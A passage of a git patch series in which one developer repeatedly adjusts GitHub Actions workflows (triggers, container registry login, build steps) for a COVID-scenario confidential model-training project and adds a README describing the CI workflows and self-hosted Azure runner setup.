${{ github.workspace }}/external/confidential-sidecar-containers && ./buildall.sh - name: Build contract ledger client library - run: cd ${{ github.workspace }}//external/contract-ledger/pyscitt && python3 setup.py bdist_wheel + run: cd ${{ github.workspace }}/external/contract-ledger/pyscitt && python3 setup.py bdist_wheel - name: Build container images uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc @@ -91,17 +91,17 @@ jobs: push: false tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} - - - name: Set SCITT_VERSION_OVERRIDE - run: echo "SCITT_VERSION_OVERRIDE=$(git describe --tags --match="*.*.*")" >> "$GITHUB_ENV" - + - name: Build contract service container - uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc - with: - file: ${{ github.workspace }}/external/contract-ledger/docker/virtual.Dockerfile - context: ${{ github.workspace }}/external/contract-ledger - push: false - build-args: SCITT_VERSION_OVERRIDE=${{ env.SCITT_VERSION_OVERRIDE }} - tags: ${{ env.REGISTRY }}/contract-ledger - + run: cd ${{ github.workspace }}/external/contract-ledger && ./docker/build.sh + + - name: Run pre-processing + run: cd ./scenarios/covid/deployment/docker && ./preprocess.sh + + - name: Run model saving + run: cd ./scenarios/covid/deployment/docker && ./save-model.sh + + - name: Run training + run: cd ./scenarios/covid/deployment/docker && ./train.sh +~ From 38ea86288b00d60b37e7530bf0961fd701c8b314 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 15:59:17 +0530 Subject: [PATCH 23/35] changes to ci-build.yml --- .github/workflows/ci-build.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 6673d3e..910bb17 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -103,5 +103,4 @@ jobs: - name: Run training run: cd ./scenarios/covid/deployment/docker && ./train.sh -~ From 54940c2a33b52f816cd034bf0cc9c250645e4eca Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 16:13:19 +0530 Subject: [PATCH 24/35] changes to ci-build.yml --- .github/workflows/ci-build.yml | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 910bb17..9e3eecf 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -15,7 +15,9 @@ on: - '**' env: - REGISTRY: ${{ vars.CONTAINER_REGISTRY }} + CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} + CONTAINER_REGISTRY_USERNAME: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + CONTAINER_REGISTRY_PASSWORD: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} jobs: build-and-test-image: @@ -81,6 +83,13 @@ jobs: - name: Build contract ledger client library run: cd ${{ github.workspace }}/external/contract-ledger/pyscitt && python3 setup.py bdist_wheel + + - name: Login to Docker Hub + uses: docker/login-action@v3 + with: + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Build container images uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc From bc44352680ed545734257b7f8a1f97fb01df2fe4 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 16:16:06 +0530 Subject: [PATCH 25/35] changes to ci-build.yml --- .github/workflows/ci-build.yml | 3 --- 1 file changed, 3 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 9e3eecf..9005e13 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -101,9 +101,6 @@ jobs: tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} - - name: Build contract service container - run: cd ${{ github.workspace }}/external/contract-ledger && ./docker/build.sh - - name: Run pre-processing run: cd ./scenarios/covid/deployment/docker && ./preprocess.sh From 73a2da2c667a4d8c3d03473899950e4d0e66a1d9 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 16:47:46 +0530 Subject: [PATCH 26/35] env variable changes --- .github/workflows/ci-local.yml | 11 ++++++++--- .github/workflows/ci.yml | 12 ++++++------ 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 3218daa..50397a2 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -12,6 +12,11 @@ name: Deploy COVID scenario in Docker on: workflow_dispatch: +env: + CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} + CONTAINER_REGISTRY_USERNAME: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + CONTAINER_REGISTRY_PASSWORD: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + jobs: deploy-ccr-covid: runs-on: [self-hosted, linux, X64] @@ -26,9 +31,9 @@ jobs: - name: Login to ACR uses: docker/login-action@v3 with: - registry: ${{ vars.CONTAINER_REGISTRY }} - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ env.CONTAINER_REGISTRY }} + username: ${{ env.CONTAINER_REGISTRY_USERNAME }} + password: ${{ env.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Add user to docker group run: sudo usermod -aG docker $USER diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7273ad0..e5200ac 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -61,16 +61,16 @@ jobs: - name: Log in with Azure uses: azure/login@v1 with: - client-id: ${{ secrets.AZURE_CLIENT_ID }} - tenant-id: ${{ secrets.AZURE_TENANT_ID }} - subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} + client-id: ${{ env.AZURE_CLIENT_ID }} + tenant-id: ${{ env.AZURE_TENANT_ID }} + subscription-id: ${{ env.AZURE_SUBSCRIPTION_ID }} - name: Login to Docker Hub uses: docker/login-action@v3 with: - registry: ${{ vars.CONTAINER_REGISTRY }} - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ env.CONTAINER_REGISTRY }} + username: ${{ env.CONTAINER_REGISTRY_USERNAME }} + password: ${{ env.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Install az confcom extension run: az extension add --name confcom -y From 63fe473fd2e712da88d354fb81f2c3b7103c0951 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 16:51:24 +0530 Subject: [PATCH 27/35] change to ci-build.yml --- .github/workflows/ci-build.yml | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 9005e13..6f04a39 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -10,9 +10,7 @@ name: Build and Test Images on: - push: - branches: - - '**' + workflow_dispatch: env: CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} From 1361ebd207158a8c6fb1ec8787154acac670e524 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 16:57:53 +0530 Subject: [PATCH 28/35] revert changes --- .github/workflows/ci-local.yml | 6 +++--- .github/workflows/ci.yml | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/.github/workflows/ci-local.yml b/.github/workflows/ci-local.yml index 50397a2..5595509 100644 --- a/.github/workflows/ci-local.yml +++ b/.github/workflows/ci-local.yml @@ -31,9 +31,9 @@ jobs: - name: Login to ACR uses: docker/login-action@v3 with: - registry: ${{ env.CONTAINER_REGISTRY }} - username: ${{ env.CONTAINER_REGISTRY_USERNAME }} - password: ${{ env.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Add user to docker group run: sudo usermod -aG docker $USER diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e5200ac..7273ad0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -61,16 +61,16 @@ jobs: - name: Log in with Azure uses: azure/login@v1 with: - client-id: ${{ env.AZURE_CLIENT_ID }} - tenant-id: ${{ env.AZURE_TENANT_ID }} - subscription-id: ${{ env.AZURE_SUBSCRIPTION_ID }} + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} - name: Login to Docker Hub uses: docker/login-action@v3 with: - registry: ${{ env.CONTAINER_REGISTRY }} - username: ${{ env.CONTAINER_REGISTRY_USERNAME }} - password: ${{ env.CONTAINER_REGISTRY_ACCESS_TOKEN }} + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - name: Install az confcom extension run: az extension add --name confcom -y From a34ba0eae931ae51adcf40c71862a68b03ccdf2d Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 17:21:39 +0530 Subject: [PATCH 29/35] ci-build changes --- .github/workflows/ci-build.yml | 54 ++-------------------------------- 1 file changed, 2 insertions(+), 52 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 6f04a39..38de8bb 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -10,49 +10,13 @@ name: Build and Test Images on: - workflow_dispatch: + pull_request: -env: - CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} - CONTAINER_REGISTRY_USERNAME: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - CONTAINER_REGISTRY_PASSWORD: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - jobs: build-and-test-image: runs-on: ubuntu-latest strategy: fail-fast: false - matrix: - include: - - dockerfile: ./scenarios/covid/ci/Dockerfile.index - name: preprocess-index - context: ./scenarios/covid/src - buildargs: | - - dockerfile: ./scenarios/covid/ci/Dockerfile.icmr - name: preprocess-icmr - context: ./scenarios/covid/src - buildargs: | - - dockerfile: ./scenarios/covid/ci/Dockerfile.cowin - name: preprocess-cowin - context: ./scenarios/covid/src - buildargs: | - - dockerfile: ./scenarios/covid/ci/Dockerfile.modelsave - name: ccr-model-save - context: ./scenarios/covid/src - buildargs: | - - dockerfile: ./ci/Dockerfile.encfs - name: depa-training-encfs - context: ./ - buildargs: | - - dockerfile: ./ci/Dockerfile.train - name: depa-training - context: ./src - buildargs: | - - permissions: - contents: read - packages: write - steps: - name: Checkout repository uses: actions/checkout@v3 @@ -82,22 +46,8 @@ jobs: - name: Build contract ledger client library run: cd ${{ github.workspace }}/external/contract-ledger/pyscitt && python3 setup.py bdist_wheel - - name: Login to Docker Hub - uses: docker/login-action@v3 - with: - registry: ${{ vars.CONTAINER_REGISTRY }} - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - - name: Build container images - uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc - with: - context: ${{ matrix.context }} - file: ${{ matrix.dockerfile }} - build-args: ${{ matrix.buildargs }} - push: false - tags: ${{ steps.meta.outputs.tags }} - labels: ${{ steps.meta.outputs.labels }} + run: cd ${{ github.workspace }}/scenarios/covid && ./ci/build.sh - name: Run pre-processing run: cd ./scenarios/covid/deployment/docker && ./preprocess.sh From 7b498b6c76c0ee340f42386c1456a316403b3678 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 17:30:42 +0530 Subject: [PATCH 30/35] change trigger to push to test --- .github/workflows/ci-build.yml | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 38de8bb..45b8949 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -9,8 +9,13 @@ name: Build and Test Images +#on: +# pull_request: + on: - pull_request: + push: + branches: + - '**' jobs: build-and-test-image: From bad4569b208f81b091345e324c5f05e38405ae30 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 17:52:28 +0530 Subject: [PATCH 31/35] add container image build --- .github/workflows/ci-build.yml | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 45b8949..cf5a926 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -16,6 +16,10 @@ on: push: branches: - '**' +env: + CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} + CONTAINER_REGISTRY_USERNAME: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + CONTAINER_REGISTRY_PASSWORD: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} jobs: build-and-test-image: @@ -31,6 +35,13 @@ jobs: - name: Update submodules run: git submodule update --init --recursive + - name: Login to ACR + uses: docker/login-action@v3 + with: + registry: ${{ vars.CONTAINER_REGISTRY }} + username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} + password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} + - name: Set up Go uses: actions/setup-go@v4 with: @@ -45,11 +56,8 @@ jobs: - name: Install wheel run: pip install wheel - - name: Build encrypted filesystem artifacts - run: cd ${{ github.workspace }}/external/confidential-sidecar-containers && ./buildall.sh - - - name: Build contract ledger client library - run: cd ${{ github.workspace }}/external/contract-ledger/pyscitt && python3 setup.py bdist_wheel + - name: Build encrypted filesystem artifacta, contract ledger client & depa-training container + run: cd ${{ github.workspace }} && .ci/build.sh - name: Build container images run: cd ${{ github.workspace }}/scenarios/covid && ./ci/build.sh From eaae9290928711e1488f846abfb397c502855fab Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 17:56:40 +0530 Subject: [PATCH 32/35] add container image build --- .github/workflows/ci-build.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index cf5a926..500503d 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -57,7 +57,7 @@ jobs: run: pip install wheel - name: Build encrypted filesystem artifacta, contract ledger client & depa-training container - run: cd ${{ github.workspace }} && .ci/build.sh + run: ci/build.sh - name: Build container images run: cd ${{ github.workspace }}/scenarios/covid && ./ci/build.sh From 4ed80cb86a7b2084650981482c0a3284847c5f9e Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 18:09:44 +0530 Subject: [PATCH 33/35] test with complete local build --- .github/workflows/ci-build.yml | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index 500503d..cbe4964 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -16,11 +16,6 @@ on: push: branches: - '**' -env: - CONTAINER_REGISTRY: ${{ vars.CONTAINER_REGISTRY }} - CONTAINER_REGISTRY_USERNAME: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - CONTAINER_REGISTRY_PASSWORD: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - jobs: build-and-test-image: runs-on: ubuntu-latest @@ -35,13 +30,6 @@ jobs: - name: Update submodules run: git submodule update --init --recursive - - name: Login to ACR - uses: docker/login-action@v3 - with: - registry: ${{ vars.CONTAINER_REGISTRY }} - username: ${{ secrets.CONTAINER_REGISTRY_USERNAME }} - password: ${{ secrets.CONTAINER_REGISTRY_ACCESS_TOKEN }} - - name: Set up Go uses: actions/setup-go@v4 with: From 45b45aec0cfd4a49e0506c39339f36f545bbb40f Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 20:42:06 +0530 Subject: [PATCH 34/35] add README file --- .github/workflows/README.md | 62 +++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 .github/workflows/README.md diff --git a/.github/workflows/README.md b/.github/workflows/README.md new file mode 100644 index 0000000..3c312ad --- /dev/null +++ b/.github/workflows/README.md @@ -0,0 +1,62 @@ +# CI Workflows + +This repository contains several CI workflows designed for deployment in a self-hosted runner. Below is a description of each workflow and its purpose. + +## Workflows + +### `ci-build.yml` +**Trigger:** Automatically on every pull request + +- Builds the `depa-training-encfs`, `depa-training`, and other containers required for the COVID scenario. +- Runs containers locally to perform preprocessing, save the model, and train the model. + +### `ci.yml` +**Trigger:** Manually + +- Prepares data and model for deployment. +- Creates Azure Storage and Key Vault if they do not already exist. +- Imports data and model encryption keys with key release policies. +- Encrypts the data and model. +- Uploads the encrypted data and model to Azure Storage. +- Deploys CCR on Azure Container Instances (ACI) and trains the model. + +### `ci-local.yml` +**Trigger:** Manually + +- Pulls containers from Azure Container Registry (ACR). +- Runs containers locally to perform preprocessing, save the model, and train the model. + +### `release.yml` +**Trigger:** Manually + +- Builds the `depa-training-encfs`, `depa-training`, contract service container, and other containers required for the COVID scenario. +- Pushes the built containers to ACR. + +### `contract-service.yml` +**Trigger:** Manually + +- Builds the contract service container. +- Deploys the contract service. + +## Steps to Deploy Self-Hosted Runner + +1. **Set up Recommended OIDC Authentication:** + - Follow the [official guide](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions?tabs=openid%2Cpython%2Caspnetcore#set-up-a-github-actions-workflow-manually) to authenticate GitHub Actions with Azure services using the OIDC approach. + +2. **Assign Necessary Permissions:** + - For the service principal created during the above step (or an external one), assign the following permissions: + - Contributor + - Custom role with `Microsoft.Authorization/GetRoleAssignment` and `Microsoft.Authorization/CreateRoleAssignment` + +3. **Create a New Self-Hosted Runner:** + - Navigate to `Settings` > `Actions` > `Runners` in your GitHub repository. + - Create a "New self-hosted Runner". + +4. **Set Up the Azure VM:** + - Create an Azure VM with at least 16GB RAM, 4 CPUs, and 128GB SSD. + - Follow the instructions provided in the self-hosted runner setup to configure the action runner on your Azure VM. + +--- + +By following these instructions, you can set up and utilize the CI workflows in your self-hosted runner to automate and manage the deployment processes for your projects. + From 2c870402fd8a43079e1c98eb4b4d0656de4c3bc4 Mon Sep 17 00:00:00 2001 From: pavankad Date: Sat, 17 Aug 2024 20:59:22 +0530 Subject: [PATCH 35/35] README update, add pull request trigger for ci-build file --- .github/workflows/README.md | 4 ++-- .github/workflows/ci-build.yml | 9 ++++----- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/.github/workflows/README.md b/.github/workflows/README.md index 3c312ad..ad94101 100644 --- a/.github/workflows/README.md +++ b/.github/workflows/README.md @@ -5,7 +5,7 @@ This repository contains several CI workflows designed for deployment in a self- ## Workflows ### `ci-build.yml` -**Trigger:** Automatically on every pull request +**Trigger:** Automatically on every pull request or Manually - Builds the `depa-training-encfs`, `depa-training`, and other containers required for the COVID scenario. - Runs containers locally to perform preprocessing, save the model, and train the model. @@ -27,7 +27,7 @@ This repository contains several CI workflows designed for deployment in a self- - Runs containers locally to perform preprocessing, save the model, and train the model. ### `release.yml` -**Trigger:** Manually +**Trigger:** Release Event - Builds the `depa-training-encfs`, `depa-training`, contract service container, and other containers required for the COVID scenario. - Pushes the built containers to ACR. diff --git a/.github/workflows/ci-build.yml b/.github/workflows/ci-build.yml index cbe4964..2f06667 100644 --- a/.github/workflows/ci-build.yml +++ b/.github/workflows/ci-build.yml @@ -9,13 +9,12 @@ name: Build and Test Images -#on: -# pull_request: - on: - push: + pull_request: branches: - - '**' + - main + workflow_dispatch: + jobs: build-and-test-image: runs-on: ubuntu-latest